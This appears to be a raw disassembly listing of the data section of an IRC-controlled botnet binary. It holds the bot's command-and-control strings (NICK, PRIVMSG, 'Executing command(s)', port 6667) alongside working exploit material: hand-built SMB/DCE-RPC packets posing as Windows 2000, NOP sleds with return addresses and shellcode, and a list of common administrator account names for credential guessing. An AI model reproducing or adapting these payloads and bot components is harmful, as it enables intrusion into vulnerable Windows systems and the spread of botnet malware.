dword_419CF0 dd 1274D8h dd 2 dup(0)
dword_419CFC dd 119530h dd 2 dup(0)
dword_419D08 dd 5070h align 10h
aThisBuildIsBro db 'This build is broken and will not function properly.',0
; DATA XREF: sub_40A9CF:loc_40B1D8o
align 4
aThisBuildIsFul db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo
align 4
dword_419D68 dd 2343003h, 4B4F5242h, 2034E45h, 0dword_419D78 dd 2333003h, 2034B4Fh, 0dword_419D84 dd 9Ah, 0 dword_419D8C dd 95EFAFB7h, 0F78CDAE8h, 0F3ABB590h, 0EACDFBD5h, 90C4C3C2h
; DATA XREF: sub_40A9CF+790o
dd 90E0C0C0h, 0FDADB5E8h, 2 dup(0)
dword_419DB0 dd 4CFC788h dd 2 dup(0)
dword_419DBC dd 225CC0D9h dd 3 dup(0)
dword_419DCC dd 16C4931h dd 3 dup(0)
dword_419DDC dd 0F6F3A5A0h, 0F584B2DAh, 818FC085h, 0E9A083AFh, 8484D4BBh
; DATA XREF: sub_40A9CF+534o
dd 87F6CDABh, 2 dup(0)
dword_419DFC dd 0D9D08FA6h, 0EEA29BE9h, 0A6BAFFBAh, 0F5BEA198h, 2 dup(0)
; DATA XREF: sub_40A9CF+448o
dword_419E14 dd 0E4F1A9B1h, 0FB9CBBCAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h
; DATA XREF: sub_40A9CF+437o
dd 0D1AA94F4h, 9DFEE3BFh, 0C4B489AFh, 0DED29490h, 0CCABACE9h
dd 0BDB1F9BBh, 2 dup(0)
dword_419E48 dd 21CC8h align 10h
dword_419E50 dd 3F1EAF9h align 10h
dword_419E60 dd 3EDD4F9h align 10h
dword_419E70 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h
; DATA XREF: sub_40A9CF+39Co
dd 3203A64h, 25023430h, 20373h
dword_419E90 dd 242660F8h dd 2 dup(0)
dword_419E9C dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h
; DATA XREF: sub_40A9CF+2A1o
dd 3D203A64h, 2343003h, 2037325h, 0
dword_419EC0 dd 232320h dword_419EC4 dd 2B7260F8h align 10h
dword_419ED0 dd 8EB758h dd 2 dup(0)
dword_419EDC dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h
; DATA XREF: sub_40A9CF+139o
dd 2037325h, 0
dword_419EF8 dd 473EDB0h dd 2 dup(0)
aNickS db 'NICK %s',0 ; DATA XREF: sub_40A9CF+CCo
; sub_40A9CF+EFo ...
dword_419F0C dd 1685E8h dd 2 dup(0)
dword_419F18 dd 3C1A6B1h dd 3 dup(0)
aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o
; sub_40D871+85Fo
align 4
asc_419F48: ; DATA XREF: sub_40C93C+30o
; sub_40C93C+B5o
unicode 0, <;>,0
asc_419F4C db '<=',0 ; DATA XREF: sub_40CA29:loc_40CE59o
align 10h
asc_419F50 db '>=',0 ; DATA XREF: sub_40CA29:loc_40CE07o
align 4
asc_419F54: ; DATA XREF: sub_40CA29:loc_40CDDBo
dw 3Eh
unicode 0, <>,0
asc_419F58 db '!=',0 ; DATA XREF: sub_40CA29:loc_40CDAFo
align 4
asc_419F5C db '==',0 ; DATA XREF: sub_40CA29:loc_40CD83o
align 10h
aIpv6 db '$ipv6',0 ; DATA XREF: sub_40CA29:loc_40CC43o
; sub_40CA29:loc_40CD58o
align 4
aFirewall db '$firewall',0 ; DATA XREF: sub_40CA29:loc_40CC1Fo
; sub_40CA29:loc_40CD34o
align 4
aLatency db '$latency',0 ; DATA XREF: sub_40CA29:loc_40CBFBo
; sub_40CA29:loc_40CD10o
align 10h
aFree db '$free',0 ; DATA XREF: sub_40CA29:loc_40CBD7o
; sub_40CA29:loc_40CCECo
align 4
aVersion db '$version',0 ; DATA XREF: sub_40CA29:loc_40CBB1o
; sub_40CA29:loc_40CCC6o
align 4
aUptime db '$uptime',0 ; DATA XREF: sub_40CA29+158o
; sub_40CA29+26Do
a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_40CA29+EEo
align 4
asc_419FAC db '&&',0 ; DATA XREF: sub_40CA29+9Do
; sub_40CA29+45Do
align 10h
asc_419FB0: ; DATA XREF: sub_40CA29+28o
unicode 0, <)>,0
aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co
align 10h
a6667 db '6667',0 ; DATA XREF: sub_40CF2F:loc_40CF60o
align 4
aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo
; sub_40D871+431o
align 10h
aG: ; DATA XREF: sub_40D043+1DCo
; sub_40D871+392o
unicode 0, <G>,0
aA: ; DATA XREF: sub_40D043+1C6o
; sub_40D871+37Co
unicode 0, <A>,0
aB: ; DATA XREF: sub_40D043+1B0o
; sub_40D871+366o
unicode 0, <B>,0
aUnk db 'UNK',0 ; DATA XREF: sub_40D043+160o
; sub_40D871+316o
aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o
align 4
aPassS db 'PASS %s',0 ; DATA XREF: sub_40D043+3Fo
aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_40D420+10o
; sub_40D53F+37o
aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_40D4AB+10o
; sub_40D53F+AFo
align 4
dword_41A038 dd 1 aMessage db 'message ',0 ; DATA XREF: sub_40D53F:loc_40D629o
align 4
dword_41A048 dd 49544F4Eh, 25204543h, 13A2073h, 0dword_41A058 dd 56495250h, 2047534Dh, 3A207325h, 1aMirc db 'mIRC',0 ; DATA XREF: sub_40D734+6o
; sub_40D74D:loc_40D76Eo
align 10h
asc_41A070: ; DATA XREF: sub_40D871+CB7o
unicode 0, <*>,0
aNotice db 'NOTICE',0 ; DATA XREF: sub_40D871:loc_40E1C0o
; sub_40E618+89o
align 4
asc_41A07C db '][',0 ; DATA XREF: sub_40D871+807o
; sub_40D871+88Co
align 10h
a332 db '332',0 ; DATA XREF: sub_40D871:loc_40DF8Eo
aNick db 'NICK',0 ; DATA XREF: sub_40D871:loc_40DF3Eo
align 4
a@: ; DATA XREF: sub_40D871:loc_40DEBEo
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_40D871:loc_40DE96o
; sub_40E618+33o
a451 db '451',0 ; DATA XREF: sub_40D871:loc_40DE70o
aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_40D871+5C4o
; sub_40D871+5EEo
aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_40D871+571o
a001 db '001',0 ; DATA XREF: sub_40D871:loc_40DD97o
aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_40D871+515o
align 4
aJoin db 'JOIN',0 ; DATA XREF: sub_40D871:loc_40DD25o
align 4
aError db 'ERROR',0 ; DATA XREF: sub_40D871:loc_40DCFDo
align 4
a433 db '433',0 ; DATA XREF: sub_40D871:loc_40DB2Do
dword_41A0D8 dd 4950013Ah, 1474Ehdword_41A0E0 dd 4950013Ah, 474Ehdword_41A0E8 dd 52455601h, 4E4F4953h, 1732520h, 0aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_40D871:loc_40DAD1o
dword_41A108 dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h
; DATA XREF: sub_40D871+24Eo
dd 73256433h, 69572820h, 2932336Eh, 1
dword_41A12C dd 4556013Ah, 4F495352h, 14Ehdword_41A138 dd 4556013Ah, 4F495352h, 4EhaSend db 'SEND',0 ; DATA XREF: sub_40D871+CDo
align 4
dword_41A14C dd 4344013Ah, 43haPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D871:loc_40D8DDo
; sub_40D871+901o ...
aMode db 'MODE',0 ; DATA XREF: sub_40D871:loc_40D8C2o
align 4
aPong db 'PONG',0 ; DATA XREF: sub_40D871:loc_40D8A7o
align 4
aPongS db 'PONG %s',0 ; DATA XREF: sub_40D871+25o
aPing db 'PING',0 ; DATA XREF: sub_40D871+Ao
align 4
aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_40E618:loc_40E7A5o
align 4
byte_41A18C db 41h ; DATA XREF: sub_40E979+3Cr
; sub_40EB4E+24r ...
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
dword_41A1D0 dd 3430032Dh, 3732502h, 30032E02h, 73250234h, 202D0203h
; DATA XREF: sub_4129CA+5Co
dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h
dd 63207325h, 6C706D6Fh, 2E657465h, 0
dd 1130h, 0
dd 5C28F5C3h, 400DC28Fh, 5 dup(0)
dd 1, 0
dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h)
dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h
dd 2 dup(77E216B8h), 1130h, 0
dd 5C28F5C3h, 400DC28Fh, 5 dup(0)
dd 1, 0
dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh
dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0
aAjAj db '!^J!^J',0
align 4
dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h)
dd 2 dup(71AB7BFBh), 7C941EEDh, 77E216B8h, 77FD1F89h, 2 dup(77E216B8h)
dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx:
unicode 0, <FXNBFXFXNBFXFXFXFX>,0
align 4
dd 2 dup(7FFDE0CCh), 0
dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dd 20h, 0
dd 20h, 5C005Ch, 0
dd offset dword_43005C
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
align 10h
dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h
a__ db 0Dh,0Ah ; DATA XREF: sub_410649+59o
; sub_410B52+Fo
db '\_/.',0
align 10h
dword_41A7B0 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0
dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41A7FC dd 3000005h, 10h, 5 dup(0)dword_41A818 dd 10005h, 2 dup(0) dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0)
dd 90000h, 300h, 0
dd 300h, 5C005Ch, 0
dword_41A860 dd 0 dd 2, 0
dd 1, 91C68h, 1, 2 dup(0)
dd 0C0h, 46000000h, 2 dup(1), 7
dword_41A894 dd 0FC24448Bh, 0FFFAE005h, 0E0FFFFhdword_41A8A0 dd 530458Bh, 0FFFFFB24h, 0E0FFhdword_41A8AC dd 19EB10EBh, 0 dword_41A8B4 dd 0FFFF04EBh, 0FFFFhdword_41A8BC dd 4EB04EBh, 0 dword_41A8C4 dd 0FFFF04EBh, 0FFFFhoff_41A8CC dd offset loc_41005C ; DATA XREF: sub_410649+449o
dd 2 dup(0)
dword_41A8D8 dd 77F33723h dword_41A8DC dd 7FFDE0EBh dword_41A8E0 dd 18759Fh dword_41A8E4 dd 1001C59h dword_41A8E8 dd 1B0B0Bh dword_41A8EC dd 6EBh dword_41A8F0 dd 0F4EBh, 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_410649+FBo
dd 0FEFF0000h, 0
dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h
dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h
dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h
dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
dd 0
dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 4
dd 0
dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0
dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
dd offset loc_401495
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707C
dd 1, 0
dd 1, 0
dd offset loc_40707C
dd 1, 0
dd 1, 0
dd offset loc_40707C
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 2 dup(0)
dd 1CEC8166h, 0E4FF07h, 1004600h, 7515123Ch, 751C123Ch
dd 42B68ABAh, 42D01E50h, 34000112h, 0
dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
dd 10h, 0
aEu4 db 1Bh,'¥î4',0
align 4
dd 12400h, 0
dword_41AF50 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_410B52+62o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0 db 'LANMAN1.0',0
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002 db 'LM1.2X002',0
dw 4C02h
aAnman2_1 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12 db ' LM 0.12',0
align 4
dword_41AFDC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_410B52+A2o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_0:
unicode 0, <Windows 2000 2195>,0
aWindows20005_1:
unicode 0, <Windows 2000 5.0>,0
align 8
dword_41B088 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_410B52+E2o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_41B168 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
; DATA XREF: sub_410B52+13Co
dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
dd 244350h, 3F3F3F3Fh, 3Fh
dword_41B1A8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: sub_410B52+179o
dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 0
dword_41B20C dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_410B52+1B9o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41B2B0 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_410B52+216o
dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0)
dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch
dd 100300h, 31C0000h, 0
dd 3040000h, 0
dd 4221001Fh, 184E8h, 0
dd 10000h, 0
dd 1630000h, 0
dd 1630000h, 0
dword_41B338 dd 0 dd 0D7h, 1, 0
dd 1, 0
dd 0CBh, 2 dup(0)
dword_41B35C dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_410B52+348o
dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0)
dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch
dd 100300h, 4800000h, 0
dd 4680000h, 0
dd 72B3001Fh, 1A381h, 0
dd 10000h, 0
dd 2150000h, 0
dd 2150000h, 0
dword_41B3E4 dd 0 dd 85h, 2, 0
dd 2, 2EBh, 85h, 2 dup(0)
dword_41B408 dd 20804h, 0 ; sub_410B52+29Bo ...
dword_41B410 dd 2080Ah, 0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
dd 0FEFF0000h, 0
dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h
dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h
dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h
dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
dd 0
dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_1:
unicode 0, <Windows 2000 2195>,0
aWindows20005_2:
unicode 0, <Windows 2000 5.0>,0
align 4
dd 0
dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0
dd 3F3F0000h, 3F3F3Fh, 0
dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0
dd 2019Fh, 4 dup(0)
dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h
dd 0
dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 4780800h, 500800h, 48000010h, 0
dd 10h, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h
dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
dd 0
dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h
dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
dd 11h, 0
dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
dd 2 dup(300030h), 0
dd 0FFFFh, 7E0h, 2 dup(0)
dd 7C0h, 0
dd 2 dup(90909090h), 909008EBh, 767A1567h, 909008EBh, 767A1567h
dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h
dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
dd 767A1567h, 90909090h, 0EB909090h, 48909008h, 9088444Fh
dd 4 dup(90909090h), 0
dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h
dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
dd 11h, 0
dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
dd 2 dup(300030h), 0
dd 0FFFFh, 7E0h, 2 dup(0)
dd 7C0h, 0
dd 2 dup(90909090h), 909008EBh, 767A1567h, 909008EBh, 767A1567h
dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h
dd 909008EBh, 767A1567h, 909008EBh, 1013C79h, 909008EBh
dd 767A1567h, 90909090h, 0EB909090h, 48909008h, 9088444Fh
dd 4 dup(90909090h), 0
dd 7E0h, 4, 2 dup(0)
aFb db 'fìÐ',7,0
align 10h
dd 129F74h, 0
dd 127D78h, 0
dd 5B03EB60h, 0F8E8C353h, 31FFFFFFh, 13404C0h, 315B50D8h
dd 401002D2h, 50403002h, 4104C031h, 0C628C228h, 6604E2C0h
dd 3104EAC1h, 2F630C0h, 66032803h, 58431301h, 802C931h
dd 61D5E0h, 77BD3143h, 7FCh, 0C0314301h, 7FC77h, 4F020100h
dd 7E7655Bh, 0
dd 195h, 30B0005h, 10h, 48h, 1, 16D016D0h, 0
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 3000005h, 10h, 18h, 1, 3 dup(0)
dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0
dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
byte_41BB00 db 90h ; DATA XREF: sub_410F60+35r
; sub_410F60+73r ...
dword_41BB01 dd 0 db 9Eh, 2 dup(0)
dd 0F50000h, 0F8000000h, 0
dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h
dd 1400000h, 41000000h, 4, 842h, 24300h, 40450000h, 46000000h
dd 10h, 2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h
dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h
dd 9, 393h, 419500h, 11960000h, 97000000h, 21h, 999h, 0
dd offset aAdministrator ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aComputer ; "computer"
dd offset aUnix_0 ; "unix"
dd offset aLinux ; "linux"
dd offset aSystem ; "system"
dd offset aServer_0 ; "server"
dd offset aRoot ; "root"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser_1 ; "user"
dd offset aOemuser ; "oemuser"
dd offset aWwwadmin ; "wwwadmin"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
